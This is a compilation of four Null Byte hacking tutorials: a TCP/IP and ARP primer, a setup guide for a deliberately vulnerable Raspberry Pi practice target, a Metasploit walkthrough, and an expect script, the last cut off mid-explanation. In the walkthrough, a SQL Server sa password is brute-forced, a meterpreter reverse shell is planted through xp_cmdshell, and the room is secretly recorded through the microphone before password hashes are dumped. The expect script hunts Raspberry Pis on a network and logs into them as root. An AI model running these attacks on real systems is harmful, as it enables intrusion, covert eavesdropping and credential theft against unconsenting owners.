If you read my article onthe OSI model, you got a good overview on communications from that model's perspective, but how does that relate toTCP/IP? We're going to take it a step further, getting into the idea behind thetwo address concept. How does an IP address and a MAC address work together? If you want tohijack sessionsand all sorts of lulz like that, you need to understand these concepts. Let's get into it, mates!OSI, TCP and What's Going on Here?A good way to understand what a protocol is, would be to view it like a language. If people were network interfaces and all spoke their own language, there would be no way for them to properly communicate. A protocol works the same way, by agreeing to use certain methods or standards, many groups can build and create things that can all communicate with each other. So when you seeTCP/IP protocol, think of it like a collection of rules computers must all follow to allow the millions and millions of networked machines called the Internet to function.OSI was never meant to be just a model. Back in the 1970s, it was a competing protocol against TCP/IP and was actually a better protocol in design. The main reason it didn't take hold was that its addresses werehexadecimaland very complex. In fact, it was thought back then, that it hadtoo manyavailable addresses. Being based in hex, it allowedfar morethan the current protocol standard of IPv4. I should point out that the next version of IP, version 6, uses hex addresses which allow many more available ranges then IPv4. Go figure.Examples of addresses include:Hexadecimal- 12:34:56:78:9A:BCIPv4 (current standard)- 74.125.225.98IPv6 (new format)- fe80::223:4eff:fec0:5b48A Tale of Two ModelsOSI is still used today to describe network communication and for standards to unite, while the TCP model is used to show relation between the various protocols it contains. Below is a diagram of how the two map out to each other.The first thing you might notice is that TCP/IP is not just one protocol, but an entire suite of protocols. Next, you should notice that the layers of the TCP/IP architecture and the OSI model line up more or less the same.Layers one and two of the OSI model are considered to both be physical and local, so they are simply grouped together as theNetwork Interface Layerunder TCP/IP. TheNetworklayer is just renamed theInternetlayer and carries the same functions. Following that, you can see layers five through seven of OSI have been compiled into theApplicationlayer, as that is where they operate.Still with me? Now let's take a look at all of these three- and four-letter abbreviations in the suite. This is the good stuff coming up here.The TCP/IP SuiteThe TCP/IP suite is where we talk about things likeFTP,DNSand other protocols you might have heard and read about before. Again, looking at the picture above, we can see what protocols are used in what layers.An entire book could be written on the TCP/IP suite—and they have. To keep things in focus, we are only going to discuss a few protocols here. Feel free to ask any other questions about the protocols in the comments.A good example of this is theTransportlayers of both the OSI and TCP models. When data arrives there, it has two options for transport, TCP and UDP. TCP allows for reliable transit, where as UDP is unreliable. If you are wondering why you would ever want to send something unreliable, here is the answer...TCP vs. UDPIn avery short nutshell, when you send a request with TCP, you will always get a confirmation of its receipt. This is like me throwing you a ball, you yelling "I got it!", then throwing it back to me, where I would then yell "I got it". But what if I drop it? I would simple yell back, "I need it again!", and would wait until you threw me a new one.In contrast, UDP is like you throwing me ball after ball and just hoping I catch them. If I drop one or sixteen—it doesn't matter—because you have no way to know.UDP sounds pretty bad right now, but listen to this: services likeVOIPand online games are too fast for TCP. Imagine you were playing Halo and you dropped a packet or two. Can you stop and wait for it? Of course not. You would see a little jump in the frame rate and you'd keep going. If you had to wait for it to get back to you, you would surely be fragged. The same applies if you were talking to your mate on Skype and you dropped a few packets; it makes no sense topausethe conversation to retrieve them.TCP is great when you need to make sure all the packets arrive and in order. Web browsing and the like would be awfully hard without having reliable transportation.It is theTransportlayer that determines, based on its parameters, what protocol to use.IP and MAC AddressesEvery single packet being sent around has two addresses inside of it—anInternet Protocoland aMedia Access Controladdress. An IP address really only identifies your network, as all internal IP addresses are actuallyprivateand handled by Network Address Translation (NAT) at the router. You might have an IP address from your ISP of201.95.87.98that identifies your network, and your actual computer might have a private, inside-the-network address of192.168.1.67.This is done so that many devices, like your PlayStation and your computer, can get on the Internet at the same time, while only needing one IP address. If every single device online today had its own address, we would have already ran out of new ones to use!So, where does a MAC address come in? As it is, IP addresses are of no use inside of your network, as your machines don't use them to talk to each other.Where IP addressing functions at the network layer, MAC addressing works at the data link layer. It's a slight oversimplification, but one can think of IP addressing as supporting the software implementation and MAC addresses as supporting the hardware implementation of the network stack. The MAC address generally remains fixed and follows the network device, but the IP address changes as the network device moves from one network to another.So, how in the world does this actually work? Your network maintains a mapping between the IP address of a device and its MAC address. This mapping is known as the ARP Table.Putting It All Together: Address Resolution ProtocolARPstands forAddress Resolution Protocoland it is used to associate aNetworklayer address (IP address) with aData Linklayer address (MAC address).Let's say you have some data to send. When the data gets to theNetworklayer, it will put on the destination IP address. All of this info (theNetworklayerdatagram, aka packet) is passed down to theData Linklayer where it is taken and placed within a data link frame.Based on the IP address and subnet mask, your computer should be able to figure out if the destination IP is local to your network or not. If the IP is local, your computer will look in its ARP table, the table where the responses to previous ARP requests are cached, to find the MAC address.If it's not there, then your computer will broadcast an ARP request to find out the MAC address for the destination IP. Since this request is broadcast, all machines on the network will receive it and examine the contents. If the IP address in the request is their own, they'll reply back. On receiving this information, your computer will update its ARP table to include the new information and will then send out the frame addressed with the destination hosts MAC address.Request for CommentsWith all this talk about protocols, I'm sure you have some questions about specific ones you have come across. It turns out theInternet Engineering Task Forcehas put together a memorandum describing, collecting, and categorizing details about protocols, research, and ideas on how the actual Internet functions. This is needed because there's no one authority that mandates certain protocols to be used over other ones, and in fact, you can create and submit your own for review and use!Want to learn the more technical components ofUDP,ARPandTCP? Check out those RFC white papers describing the protocols.In ClosingWe are another step further in giving you the skills you need to navigate the Internet like a pro. If some of this didn't quite make sense, I encourage you to check out ourOSI modelandIntro to IP Addressesarticles for some more back knowledge. Next in the series, we will look at penetration attacks that work on these ideas!Questions? Comments? Have anything to add to this walkthrough? Leave us a comment or visit ourforumand share it with the community.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byNetFaq,SoftPanorama,Network Cable TesterRelatedHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHow To:Draw InuYashaHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)News:Becoming a HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Draw Prince Arren (Tales from Earthsea)News:Children's Book Classic Peter Rabbit & Other Tales Come to AR via iOS AppHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:The FBI Can Spy on Your Webcam Undetected: Here's How to Stop ThemHow To:Convert a standard SIM card into a MicroSIM cardHow To:Teach Blocking Fundamental for Young Football PlayersNews:Escape Room Experience Comes to Mobile via Futuristic 'The Lockdown' Augmented Reality GameHow To:Draw a Boat in Two Point PerspectiveWhere Do I Start:Learn the FundamentalsAdvice from a Real Hacker:The Top 10 Best Hacker MoviesNews:"Rat Tales" by the old surfer man BarettaNews:Bring the Brothers Grimm Characters to Life This HalloweenHow To:learn TIG FundamentalsHow To:Old Wives' Tale or Science? 20 Snacks That Just Might Make You SleepyNews:Should district be allowed to demand middle-schooler's Facebook password?WTFoto of the Day:The Tragic Tale of OedipusWATCH THIS INSTEAD:HopNews:TANGLED - A Disneyological StudyNews:When Foursquare Gets CreepyNews:Indie and Mainstream Online Games Shut Down by LulzSecNews:Dark Side of the Lens - DP Allan WilsonHow To:Networking Basics for the Aspiring HackerNews:Cooks IllustratedNews:US Federal Gov’t ‘Waging War’ on WhistleblowersNews:Lombardi on Technique and FundamentalsNews:Minecraft World's Weekly Workshop: Reverse Engineering Minecraft Cake DefenseHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:"This Guy Has My MacBook"—A Tale of Evil, Redemption & the Power of the AppNews:Time-Saving Tricks for Working Smarter and Faster in 3ds Max 8News:How-to-jog-your-memory-the-science-fiction-hero-wayNews:7 Disney Movies Based on R-Rated StoriesNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy Hamm
How to Set Up a Practice Computer to Kill on a Raspberry Pi « Null Byte :: WonderHowTo
The world is full of vulnerable computers. As you learn how to interact with them, it will be both tempting and necessary to test out these newfound skills on a real target. To help you get to that goal, we have a deliberately vulnerableRaspberry Piimage designed for practicing and taking your hacking skills to the next level.Many of us are hands-on learners, and the best way to learn a skill is to try what you're being taught to gain a real understanding; This can get legally complicated when learning about cybersecurity, due to complex and beginner-unfriendly computer hacking laws in the US and other countries.With hacking constantly in the news and on the national radar, police are less and less understanding when dealing with issues of computer intrusion. As many of the principals you will learn are designed to compromise or break computers, learning about ransomware on your sister's laptop or local library computer may not be the best place to make your first mistakes as a hacker.The solution is a computer with no valuable data inside, one which is deliberately vulnerable and specially made for attacking. So where do you get this vulnerable computer? Do you buy an old one and hope that it has some interesting vulnerabilities? Ten years ago, that was exactly how you'd practice hacking older systems. Today, specially designed vulnerable operating systems are used to practice hacking tools against common vulnerable software services.My personal DV-Sadberry Pi Zero W in a 3D printed case for doing messed up things to.Image by SADMIN/Null ByteSince Null Byte is a white hat hacking community, it's essential we provide every opportunity to practice lawfully and safely as we learn to break things. The Raspberry Pi is a cheap, flexible computer that can run a wide variety of popular software and backend applications; This makes it a perfect alternative to running a virtual machine as a "firing range" computer for practicing attacks.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliVM Versus Native InstallationSo why not just run it on your laptop in a virtual machine? I've always hesitated to unleash the fury on a virtual machine nestled inside my precious hacking laptop. Virtual machines can be complicated for beginners, and the price of running that logic bomb on your mom's HP versus the virtual machine could be destroying the computer.Physical separation is desirable, but until recently, it was rather expensive to buy another computer for testing when a free VM is available. That has changed with the availability and price point of the Raspberry Pi. Now, for $35, you can get started hacking safe and legal targets thanks to the hard work of the InfoSec community!Re4son's Damn Vulnerable PiAustralian security researcher Re4son runsWhitedome Consulting, a site featuring custom Raspberry Pi images developed in support of both cybersecurity learning and active penetration testing. He alsobuilds things with the Raspberry Pithat blue teams see hovering in their darkest nightmares. Offering both offensive and practice images, Re4son's Damn Vulnerable Pi image caught my eye after relying on his excellent "Re4son Kernel" to solve many problemsrunning Kali on the Pi Zero W.Don't Miss:How to Set Up Kali Linux on the New $10 Raspberry Pi Zero WRe4son makes things like this "Sticky Fingers Kali Pi" in a tactical penetration testing platform that gives hackers an air force.Image by Re4son/White Dome ConsultingTheDamn Vulnerable Pi imageis a perfect companion to an offensive Kali Linux build, simulating a target computer running vulnerable services for you to destroy. The setup is simple and using it is elegant with an optional touchscreen, although we will be using the "dv-pi" tool to control our DV-Pi over SSH from any laptop or smartphone for the sake of simplicity and compatibility. This tool is perfect for practicing at home, running hacking competitions, or demonstrating at live hacking events.Re4son's DV-Pi comes with the following features:3 GB image ready to go with all common TFT screens.Re4son Kali-Pi Kernel 4.4 with touchscreen support.Supports Raspberry Pi 0/0W/1/2/3.Tool (re4son-pi-tft-setup) to set up all common touchscreens, enable auto-logon, etc.Command line tool (dv-pi) for headless operation.Each image comes with one vulnerability to get in and one vulnerability to get root.Each image has twoproof.txtwith a hash to proof successful compromise.What You'll NeedaRaspberry Pi 3(this could work on other Pi models)Re4son's DV-Pi imagea computer to burn the disk image fromamicroSD card(at least 8 GB) andadapterorcard readerfor your laptopanEthernet cableoptional — you can set up your DV-Pi from a smartphone instead of a laptop after the image is burnedEverything you need to really mess up this Pi's day.Image by SADMIN/Null ByteGood Beginner Pi Setup:CanaKit Raspberry Pi 3 B+ Starter Kit— $80Step 1: Prepare the Image & SD CardTo begin, we'll need Re4son's DV-Pi image. You can find it on hisblog here. We'll start with the "easy-ish" image versionlinked here.After downloading the DV-Pi image, unarchive the image and select your favorite disk image burning software, because we'll be burning the image to an SD card. I likeEtcher, which is what I use, but you can use anything that will write bootable disk images to an SD card.At this point, you'll need to insert the SD card you intend to run the DV-Pi on into your laptop. I recommend using no less than 8 GB microSD cards. Put the microSD card into your adapter of choice, and after plugging it into your laptop, ensure you can see it listed with your other drives.Burning the DV-Pi to a 16 GB microSD card.In Etcher (or whatever program you use), select the .img file you downloaded and unarchived, and burn it to the SD card you have inserted; This will give you a bootable image on the card, ready to insert into your Raspberry Pi.Step 2: Load Your SD Card & Connect EthernetAfter you're finished burning the OS onto the card, load the card into your Raspberry Pi and connect it via Ethernet to your network. Plug in the power, and you'll see the DV-Pi start up. You can also connect it to an HDMI display and watch it boot to ensure everything is working correctly. It should look exactly like this:[ OK ] Started LSB: Switch to ondemand cpu generator (unless shift key is pressed). [ OK ] Reached target System Initialization. [ OK ] Listening on Avahi mDNS/DNS-SD Stack Activation Socket. [ OK ] Listening on D-Bus System Message Bus Socket. [ OK ] Reached target Sockets. [ OK ] Reached target Timers. Starting Restore Sound Card State... [ OK ] Reached target Basic System. Starting Regular background program processing daemon... [ OK ] Started Regular background program processing daemon. Starting dhcpcd on all interfaces... Starting Configure Bluetooth Modems connected by UART... Starting Login Service... Starting LSB: triggerhappy hotkey daemon... Starting LSB: Autogenerate and use a swap file... Starting Avahi mDNS/DNS-SD Stack... Starting D-Bus System Message Bus... [ OK ] Started D-Bus System Message Bus. [ OK ] Started Avahi mNDS/DSN-SD Stack. Starting System Logging Service... Starting Permit User Sessions... [ OK ] Started Restore Sound Card State. [ OK ] Started dhcpcd on all interfaces. [ OK ] Started LSB: triggerhappy hotkey daemon. [ OK ] Started LSB: Autogenerate and use a swap file. [ OK ] Started Permit User Sessions. [ OK ] Reached target Network. Starting OpenBSD Secure Shell server... [ OK ] Started OpenBSD Secure Shell server. Starting /etc/rc.local Compatibility... [ OK ] Reached target Network is Online. Starting LSB: Start NTP daemon... [ OK ] Started System Logging Service. [ OK ] Started etc.rc.local Compatibility. [ OK ] Started Login Service. Starting Terminate Plymouth Boot Screen... Starting Wait for Plymouth Boot Screen to Quit... [ OK ] Started Wait for Plymouth Boot Screen to Quit. [ OK ] Started Terminate Plymouth Boot Screen. Starting Getty on tty1... [ OK ] Started Getty on tty1. [ OK ] Reached target Login Prompts. [ OK ] Started LSB: Start NTP daemon. [ OK ] Started Configure Bluetooth Modems connected by UART. [ OK ] Reached target Multi-User System. Starting Update UTMP about System Runlevel Changes... Starting Load/Save RF Kill Switch Status of rfkill1... Starting Bluetooth service... [ OK ] Started Load/Save RF Kill Switch Status of rfkill1. [ OK ] Started Update UTMP about System Runlevel Changes. [ OK ] Started Bluetooth service. [ OK ] Reached target Bluetooth. Raspbian GNU/Linux 8 dv-pi3 tty1 dv-pi3 login:Once the Pi is booted, you should be able to scan your network witharp-scanorFing network scannerfrom your laptop or phone to discover the Pi's IP address. When you have the IP address, you'll be able to SSH into the Pi. In this case, the device name we're looking for is "dv-pi3."More on Scanning Networks:Using Netdiscover & ARP to Find Internal IP & MAC AddressesScan of the DV-Pi over the network to find its IP address.Image by SADMIN/Null ByteStep 3: SSH into the DV-PiArmed with the IP address, we can now SSH into the Raspberry Pi. You can scan the Pi's IP address with Fing Network Scanner to ensure port 22 is open and waiting for a connection.Image by SADMIN/Null ByteYou can SSH into the Pi via command line from the terminal on your laptop by running:ssh pi@(ip address here)The password will beraspberry. You can also log in on a smartphone using an app likeJuiceSSH.Connecting to the DV-Pi via SSH on an Android phone.Image by SADMIN/Null ByteOnce you SSH in, you will have access to the DV-Pi's administrative controls! To know you've logged in, you should see a "Message of the Day" screen like below on a successful SSH [email protected]'s password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu May 25 16:04:59 2017 from 10.11.3.62 pi@dv-pi3:~ $Step 4: Check Status & Start the DV-PiTo check the current status of our Damn Vulnerable Pi, we can use thedv-pitool helpfully included by Re4son. To check to see if the DV-Pi is running and vulnerable, enterdv-pi statuswhich will show the current status of the device. Initially, it should be off/not vulnerable.pi@dv-pi3:~ $ dv-pi status [ STATUS ] DV-Pi is stopped [ STATUS ] The system is not vulnerable pi@dv-pi3:~ $Ready to start hacking? To start the DV-Pi's vulnerable applications, you'll need to rundv-pi start, then authenticate with the passwordraspberryin the terminal. This will start the vulnerable applications.pi@dv-pi3:~ $ dv-pi start [ STATUS ] Starting DV-Pi [sudo] password for pi: [ STATUS ] DV-Pi started successfully [ WARNING ] THE SYSTEM IS VULNERABLE! pi@dv-pi3:~ $Step 5: Confirm It's WorkingTo confirm the DV-Pi is running, scan your network again using Fing to find the Pi's IP address. Tapping on the device will allow you to "scan services" to see that both port 22 and port 80 are open.Port 80 is running a vulnerable web service.Image by SADMIN/Null ByteTap on port 80, or in your browser go to the IP of your Raspberry Pi. A WordPress service to attack should be running on the Pi if the system is vulnerable. If you see the site below, you know the DV-Pi is live!Ready to get your fingers sticky.Image by SADMIN/Null ByteHacking the DV-PiOnce your DV-Pi is set up, you're ready to get started hacking it. To prove you gained access, a fake "customer database" of credit card info is included to simulate exfiltrating real data and provide some excitement upon succeeding. Re4sonruns a fantastic blogand responds to comments and questions on his builds, so check out his site in the future for more great work.Null Byte & the CommunityAfter speaking with Re4son about how useful his images are for our community, he'supdated his images to support all versions of the Raspberry Pi, including the newPi Zero W. Our hope is to bring a custom Null Byte image for our community to practice on, focusing on wireless security techniques using the Pi Zero W as a cheap, easy way to practice offensive Wi-Fi tools.If there's interest, please mention in the comments and we can start taking community requests for features and look into giveaways for our community!Stay tuned for tutorials on using the DV-Pi and other DV images on the Pi Zero W, and for word on Re4son's Wi-Fi focused DV-Pi. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:How to Automate Hacking on the Raspberry Pi with the USB Rubber DuckyFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Enable Monitor Mode & Packet Injection on the Raspberry PiRaspberry Pi:Hacking PlatformThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Build a Portable Pen-Testing Pi BoxRaspberry Pi:Physical Backdoor Part 1Raspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallRasberry Pi:IntroductionHow To:Use a Flatbed Scanner and Raspberry Pi to Take Super Sharp Macro PhotosMinecraft:Pi Edition, Coming Soon to a Raspberry Pi Near YouPost Pi Day Coding Project:Let's Uncover the Hidden Words in Pi
How to Hack Databases: Cracking SQL Server Passwords & Owning the Server « Null Byte :: WonderHowTo
Welcome back, my rookie hackers!A short while back, I began anew series on database hacking, and now it's time to continue and extend your education in that field. As you know, the database contains all of the most valuable info for the hacker, including personally identifiable information, credit card numbers, intellectual property, etc. So, it's the ultimate goal of cybercrime and the APT hacker.If you haven't read my guide ongetting started in database hacking, this would be a good time to brush up on some basic concepts. In addition, I also did a tutorial onfinding SQL Server databases, and I recommend reading both of those guides before continuing below.In this tutorial, we'll look at how we can crack the password on the system admin (sa) account on the database, install a meterpreter payload through calling the stored procedurexp_cmdshell, and wreak havoc on their system.Step 1: Start MetasploitFirst, we need to startMetasploit. Once we have the metasploit command prompt, we need to define which module we want to use. In past Metasploit tutorials, we've always used exploits, but this one is a bit different. Instead, we will use ascanneramong the auxiliary modules that enables us to brute force the sa password. Let's load upmssql_login:use scanner/mssql/mssql_loginAs you can see, Metasploit responds by telling us we have successfully loaded this auxiliary module. Now let's take a look at the options with this module.show optionsStep 2: Set Your OptionsIn order to run this MS SQL login module, we will need:A password file,Set the RHOSTS, andDetermine the number of THREADS we want to run.BackTrackhas a wordlist specially built for MS SQL password hacking with over 57,000 commonly used SQL passwords at/pentest/exploits/fasttrack/bin/wordlist.txt. In this case, our target is at 192.168.1.103, and we will set our THREADS to 20.Step 3: Brute Force the Database PasswordsNow, we simply need to typeexploitand it runs through password list until it finds the password for the sa account.exploitAs you can see, after testing over 57,000 passwords (it takes a few minutes, so be patient), it found the password on our sa account of "NullByte". Success! Now we have full sysadmin privileges on thedatabasethat we can hopefully convert to fullsystemsysadmin privileges.Step 4: Grab the xp__cmdshellNow that we have full sysadmin (sa) on the MS SQL database, we are going to leverage that to full system sysadmin privileges. MS SQL Server has a stored procedure namedxp_cmdshellthat enables the sa account to gain a system command shell with full system admin rights. If we can invoke that command shell, we may be able to load the payload of our choice on the system and own that system.Metasploit has a exploit module namedwindows/mssql/mssqlpayloadthat attempts to do this. Let's load it.use windows/mssql/mssql_payloadNow, let's check the options for this exploit:show optionsIn this case, we will try to load the meterpreter on this system, so let's:set PAYLOAD windows/meterpreter/reverse_tcpIn addition, we need to set the LPORT, the LHOST, the RHOST and the password we recovered from the sa account from above, in this case, "NullByte".Now, simply typeexploitand if all is right with the world, we should get a meterpreter prompt.Success! We have a meterpreter session!Step 5: Wreak Havoc!Now that we have the meterpreter on this system thanks to thexp_cmdshellstored procedure, we can begin to wreak havoc on this system. Take a look atmy list of meterpreter scriptsand let's try a few.First, let's turn on the microphone and listen in on the conversations of the sysadmin and anyone else in the room. Think of it as installing a bug in the room from the old James Bond 007 movies.meterpreter > run sound_recorder -i 100 -l /etcThis will grab 100 segments of audio of 30 seconds, or about 50 minutes, and save it in the/etcdirectory. Of course, we can record as much audio as we want. We are only limited by hard drive space.Step 6: Grab the HashNow, let's grab some passwords so that we can log back back in whenever we please. Remember, once we have the admin password, we can login any time withMetasploit's psexec exploit.meterpreter > hashdumpAs you can see, we were able to grab the password hashes from the system. We then need to eithercrack the hashes using John the Ripper, orcrack the hashes using Cain and Abel.Keep coming back for more adventures in hackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePassword keyimage via ShutterstockRelatedHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow to Hack Databases:Hunting for Microsoft's SQL ServerHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Hack a Microsoft SQL ServerHow To:Hack websites with SQL injectionHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:SQL Injection! -- Detailed Introduction.How To:Hack MD5 passwords with Cain and AbelHow To:Attach or detach a database in SQL Server 2005 ExpressSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1SQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Grab All the PasswordsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)SQL Injection 101:Advanced Techniques for Maximum ExploitationHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Setup Dendroid (Android RAT)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Enumerate MySQL Databases with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoogle Dorking:AmIDoinItRite?Hack Logs and Linux Commands:What's Going On Here?Goodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:PostgreSQL Quick StartHow To:Protect Your PHP Website from SQL Injection HacksGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingMastering Security, Part 1:How to Manage and Create Strong Passwords
How to Automate Remote SSH Control of Computers with Expect Scripts « Null Byte :: WonderHowTo
If you're getting into automation, Bash scripting is usually the way to go. However, there are a couple of limitations, and one of them is logging into another device like aRaspberry Piand running a script automatically. To help in those situations, we're going to automate delivering an SSH payload with an "expect" script.Bash scripting is more like duct-taping things together, so it isn't able to do everything, including predicting and then reacting to certain variables. So we're going to use an "expect" script to log in to our Raspberry Pi and automatically shut it down. We could also adapt the script to pass pretty much any payload we want to the Pi.It's a pretty awesome use of an expect script, and there are lots of different things you can do with it, so know that our guide is just scratching the surface of how you can take an expect script and use it to actually do things that otherwise would require a lot more user interaction.Don't Miss:Discover & Attack Raspberry Pis Using Default CredentialsTo follow along, you'll need a Linux computer running something like Kali or Ubuntu — even a Mac will work. Also, you'll need to have the arp-scan and expect tools installed. On Kali, you can do that withapt install arp-scan expect, and you'll be set.Step 1: Create the Expect ScriptExpect scripts are usually used in conjunction with Bash scripts to automate certain things like scanning a network or delivering a payload. Because the two work so well together, it's possible to automate all sorts of interesting things. Here, we're going to be knocking anyRaspberry Pison the network using default credentials off the network.Expect is a unique scripting language that emulates keystrokes by responding to expected responses from a local or remote system. Think of Expect as an automated, virtual you.—Admin MagThe expect.exp script we're showing off is incorporated into our trigger.sh script, so we need to create it first. If you want, start a new directory (mkdir) andnanointoexpect.expto start the script draft. Then, copy and paste the script seen below into it, hitControl-Xto exit,Yto add it to buffer, andEnterto save the file.#!/usr/bin/expect -f set timeout 20 set ip [lindex $argv 0] set user [lindex $argv 1] set password [lindex $argv 2] spawn ssh "$user\@ip" "reboot" expect "assword:" send "$password\r"; interactStep 2: Create the Trigger Bash ScriptBefore we dive into what all of that is doing, let's create trigger.sh, our Bash script. So in the same directory, usenanoto create a newtrigger.shfile. In it, copy and paste the following code. HitControl-Xto exit,Yto add it to buffer, andEnterto save the file.#! bin/bash echo What is the passcode? read loginpass expect expect.exp $(arp-scan -l | grep Raspberry | awk '{print $1}') root $loginpassYou can see that it starts with the standard shebang (#!) and thebin/bash; this just forces the Bash language to be used for the rest of the script.On the second line, we useechoto show the user a prompt that says, "What is the passcode?" We thenreadwhatever the input was and save it as aloginpassvariable.Lastly, trigger.sh opens ourexpectscript, where we're essentially passing three variables to it. As discussed ina previous Bash lesson, the parentheses ( ) mean that everything within it will happen before continuing with the rest of the commands in the one-liner, and a dollar sign ($) indicates a variable. So whatever is the answer to the content inside the parentheses will be a variable.So, the first part of the equation is that anarp-scanis run. This sends out ARP packets to hosts on the local network, then displays its responses. Then,grep, a command-line utility for searching through text, looks at the scan results for the wordRaspberryto hunt for Raspberry Pis. Next,awk, another tool for searching through text, looks for the microcontroller's IP address found from the arp-scan and grep, andprintprints the final results.After all of that is done, it passes the usernamerootto the Pi, which is the default on Pis. This is slightly inspired by the Raspberry Hunter, orrpi-hunter, which is something that hunts for Pis using default credentials on the network, attempts to log into them, and then send payloads.Lastly, it passes the password to the Pi via the password that the user input and stored as theloginpassvariable.Don't Miss:Write Your Own Bash Scripts to Automate Tasks on LinuxStep 3: Run the Trigger Bash ScriptNow, let's run the script. After it starts, you'll be asked for the enemy's passcode. Let's first see what happens when we enter the wrong password.~$ bash trigger.sh What is the enemy passcode? kdsjsdgliyea spawn ssh [email protected] reboot The authenticity of host '192.168.1.183 (192.168.1.183)' can't be established. ECDSA key fingerprint is SHA256:wG9YqeFrX90eEjV9+APhnxVkA3DduuZ+d9RbypwKFp4E. Are you sure you want to continue connecting (yes/no)? yes kdsjsdgliyea yes Please type 'yes' or 'no': yes Warning: Permanently added '192.168.1.183' (ECDSA) to the list of known hosts. Welcome to meye-16b312e&! [email protected]'s password:As you can see, it tried spawning an SSH script to pass therebootcommand to theRaspberry Pi. Since we gave it the wrong password, it didn't work, so then it asked us if we wanted to continue, which was a "yes." Next, it asks us if we wanted to log in. We said "yes," and it attempted to log in to the Raspberry Pi, but it couldn't because it had the wrong password.Though it failed, it could still find a Raspberry Pi on the network and tried to SSH into it. Now, let's see what happens when we have the real password. One thing to keep a note of is that if you're logging into something via SSH for the first time, it'll first ask you to confirm, and this will probably break the Bash script. To make sure it works, log in first.~$ bash trigger.sh What is the enemy passcode? starstar spawn ssh [email protected] reboot [email protected]'s password: Connection to 192.168.1.234 closed by remote host.As you can see, it detected a Raspberry Pi on the network successfully, spawned an SSH session, and gave it therebootcommand. Then, it entered the password that was entered by the user as a variable. After logging in, it closed the host, causing the Raspberry Pi to reboot and kick us out.How the Expect Script WorksWe detailed the trigger.sh file and what it does, but now let's look at the expect.sh code to see what it does with all of the information passed by 